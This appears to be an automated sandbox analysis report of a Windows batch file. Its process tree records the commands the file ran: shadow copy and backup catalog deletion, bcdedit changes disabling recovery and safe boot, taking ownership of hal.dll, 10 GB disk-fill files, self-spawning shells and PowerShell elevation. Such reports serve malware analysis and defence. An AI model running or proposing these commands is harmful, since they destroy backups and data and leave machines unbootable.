Token: SeBackupPrivilege	2848	wbengine.exe
Token: SeRestorePrivilege	2848	wbengine.exe
Token: SeSecurityPrivilege	2848	wbengine.exe
Token: SeTakeOwnershipPrivilege	3572	takeown.exe
Token: SeIncreaseQuotaPrivilege	5020	WMIC.exe
Token: SeSecurityPrivilege	5020	WMIC.exe
Token: SeTakeOwnershipPrivilege	5020	WMIC.exe
Token: SeLoadDriverPrivilege	5020	WMIC.exe
Token: SeSystemProfilePrivilege	5020	WMIC.exe
Token: SeSystemtimePrivilege	5020	WMIC.exe
Token: SeProfSingleProcessPrivilege	5020	WMIC.exe
Token: SeIncBasePriorityPrivilege	5020	WMIC.exe
Token: SeCreatePagefilePrivilege	5020	WMIC.exe
Token: SeBackupPrivilege	5020	WMIC.exe
Token: SeRestorePrivilege	5020	WMIC.exe
Token: SeShutdownPrivilege	5020	WMIC.exe
Token: SeDebugPrivilege	5020	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5020	WMIC.exe
Token: SeRemoteShutdownPrivilege	5020	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4424 wrote to memory of 3424	4424	cmd.exe	89
PID 3424 wrote to memory of 3632	3424	net.exe	90
PID 4424 wrote to memory of 3664	4424	cmd.exe	91
PID 4424 wrote to memory of 2748	4424	cmd.exe	92
PID 4424 wrote to memory of 4772	4424	cmd.exe	93
PID 4424 wrote to memory of 3196	4424	cmd.exe	94
PID 4424 wrote to memory of 3136	4424	cmd.exe	99
PID 4424 wrote to memory of 772	4424	cmd.exe	229
PID 4424 wrote to memory of 3572	4424	cmd.exe	168
PID 4424 wrote to memory of 4928	4424	cmd.exe	274
PID 4424 wrote to memory of 4748	4424	cmd.exe	202
PID 4424 wrote to memory of 2880	4424	cmd.exe	412
PID 4424 wrote to memory of 4400	4424	cmd.exe	111
PID 4424 wrote to memory of 4624	4424	cmd.exe	112
PID 4424 wrote to memory of 2408	4424	cmd.exe	114
PID 4424 wrote to memory of 2276	4424	cmd.exe	116
PID 4624 wrote to memory of 3932	4624	cmd.exe	118
PID 3932 wrote to memory of 748	3932	net.exe	337
PID 4424 wrote to memory of 4496	4424	cmd.exe	120
PID 2408 wrote to memory of 2864	2408	cmd.exe	122
PID 2864 wrote to memory of 896	2864	net.exe	123
PID 4424 wrote to memory of 2104	4424	cmd.exe	124
PID 4624 wrote to memory of 5040	4624	cmd.exe	220
PID 4424 wrote to memory of 1840	4424	cmd.exe	127
PID 2276 wrote to memory of 3456	2276	cmd.exe	129
PID 3456 wrote to memory of 4556	3456	net.exe	130
PID 2408 wrote to memory of 3276	2408	cmd.exe	223
PID 4424 wrote to memory of 3804	4424	cmd.exe	132
PID 4624 wrote to memory of 4532	4624	cmd.exe	265
PID 4496 wrote to memory of 1140	4496	cmd.exe	135
PID 1140 wrote to memory of 3784	1140	net.exe	183
PID 2408 wrote to memory of 4732	2408	cmd.exe	137
PID 4424 wrote to memory of 4692	4424	cmd.exe	138
PID 4624 wrote to memory of 1792	4624	cmd.exe	140
PID 4424 wrote to memory of 1620	4424	cmd.exe	141
PID 2104 wrote to memory of 1544	2104	cmd.exe	142
PID 1544 wrote to memory of 5032	1544	net.exe	144
PID 2276 wrote to memory of 620	2276	cmd.exe	145
PID 1840 wrote to memory of 788	1840	cmd.exe	146
PID 4496 wrote to memory of 3612	4496	cmd.exe	187
PID 788 wrote to memory of 4204	788	net.exe	148
PID 2408 wrote to memory of 4208	2408	cmd.exe	190
PID 4624 wrote to memory of 4196	4624	cmd.exe	1837
PID 4424 wrote to memory of 332	4424	cmd.exe	151
PID 4424 wrote to memory of 1348	4424	cmd.exe	153
PID 2276 wrote to memory of 4388	2276	cmd.exe	155
PID 3804 wrote to memory of 624	3804	cmd.exe	156
PID 624 wrote to memory of 284	624	net.exe	330
PID 2104 wrote to memory of 300	2104	cmd.exe	373
PID 4496 wrote to memory of 792	4496	cmd.exe	159
PID 4692 wrote to memory of 2208	4692	cmd.exe	160
PID 2408 wrote to memory of 4544	2408	cmd.exe	575
PID 4424 wrote to memory of 2940	4424	cmd.exe	162
PID 2208 wrote to memory of 3704	2208	net.exe	1702
PID 1840 wrote to memory of 3136	1840	cmd.exe	247
PID 4496 wrote to memory of 868	4496	cmd.exe	166
PID 2104 wrote to memory of 3012	2104	cmd.exe	254
PID 2276 wrote to memory of 3572	2276	cmd.exe	168
PID 1620 wrote to memory of 220	1620	cmd.exe	169
PID 4624 wrote to memory of 5020	4624	cmd.exe	1545
PID 220 wrote to memory of 2052	220	net.exe	171
PID 3804 wrote to memory of 2880	3804	cmd.exe	412
PID 4424 wrote to memory of 4456	4424	cmd.exe	173
PID 4424 wrote to memory of 3148	4424	cmd.exe	175

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 27 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5284	attrib.exe
5320	attrib.exe
7672	attrib.exe
15556	Process not Found
13800	Process not Found
4436	attrib.exe
5308	attrib.exe
4448	attrib.exe
5432	attrib.exe
5836	attrib.exe
12064	attrib.exe
1804	Process not Found
10752	Process not Found
5344	attrib.exe
6008	attrib.exe
6056	attrib.exe
12608	attrib.exe
3260	Process not Found
5144	attrib.exe
5984	attrib.exe
6348	attrib.exe
6488	attrib.exe
6580	attrib.exe
8596	attrib.exe
15972	attrib.exe
14344	Process not Found
4748	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4424
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3424
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:3632
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3664
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2748
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {current} safeboot
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4772
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3196
- C:\Windows\System32\Wbem\WMIC.exe
  wmic shadowcopy delete
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:3136
- C:\Windows\system32\wbadmin.exe
  wbadmin delete catalog -quiet
  2⤵
  - Deletes backup catalog
  PID:772
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\hal.dll" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:3572
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\hal.dll" /grant administrators:F
  2⤵
  - Modifies file permissions
  PID:4928
- C:\Windows\system32\attrib.exe
  attrib -h -r -s C:\bootmgr
  2⤵
  - Views/modifies file attributes
  PID:4748
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\payload_fill.bin 10737418240
  2⤵
  PID:2880
- C:\Windows\system32\fsutil.exe
  fsutil file createnew F:\payload_fill.bin 10737418240
  2⤵
  PID:4400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:4624
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3932
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:748
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5040
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4532
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1792
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4196
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:5020
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4928
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4812
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Modifies file permissions
    PID:3444
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:4436
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:5816
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew F:\payload_fill.bin 10737418240
    3⤵
    PID:4560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:5624
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:6256
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:6396
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:7172
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:7112
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:11748
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Reads the TCP/IP host and domain name from the registry
      PID:15192
  - - C:\Windows\system32\wbadmin.exe
      wbadmin delete catalog -quiet
      4⤵
      Deletes backup catalog
      Drops file in Windows directory
      PID:7976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:5280
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:6548
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:5884
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:7444
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:12748
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:15000
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:8716
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Reads the TCP/IP host and domain name from the registry
      PID:15452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:5692
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:7772
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:7948
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:11484
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:14460
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:15452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:6744
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:11420
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:12596
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:10280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7488
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:14264
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
      Enumerates connected drives
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:7596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:7200
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
      Enumerates connected drives
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:11748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:12072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:15124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:12264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:14948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:15676
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:15548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:1960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:14312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:2408
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2864
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:896
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3276
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4732
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4208
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4544
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:3376
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:940
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    PID:344
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:344
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:5144
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:5872
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew F:\payload_fill.bin 10737418240
    3⤵
    PID:748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:5544
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:5684
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:5892
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:6432
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:6040
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:7308
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:11740
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Reads the TCP/IP host and domain name from the registry
      PID:2676
  - - C:\Windows\system32\wbadmin.exe
      wbadmin delete catalog -quiet
      4⤵
      Deletes backup catalog
      PID:15724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:3368
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5300
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:6552
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:6416
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:7848
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:11496
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Reads the TCP/IP host and domain name from the registry
      PID:14132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6092
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5484
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:8088
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:7384
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:12260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6600
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:5136
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:11648
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:12624
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:12236
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:15952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:7260
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:14352
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:12780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:5892
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:8068
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:8680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:11768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Drops file in System32 directory
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3456
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4556
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:620
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4388
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3572
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    PID:2564
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:3136
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1524
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1524
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5372
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:6008
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:5652
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew F:\payload_fill.bin 10737418240
    3⤵
    PID:5140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:3140
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:7676
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:7872
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:11396
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:12232
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:2200
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      PID:16152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:6408
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:8064
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:9584
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:7844
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      PID:7028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7072
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3852
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:11944
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:12920
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:14212
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:15680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:7864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:7172
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:11912
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:12000
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:14644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:12056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:12768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:4496
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1140
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3784
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3612
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:792
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:868
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4588
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:3432
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1416
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    PID:2564
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5492
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:4448
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:6036
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew F:\payload_fill.bin 10737418240
    3⤵
    PID:5980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:5144
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:8136
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:7476
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:12648
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:5304
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:9556
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:12184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6664
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:9972
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:12452
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:11256
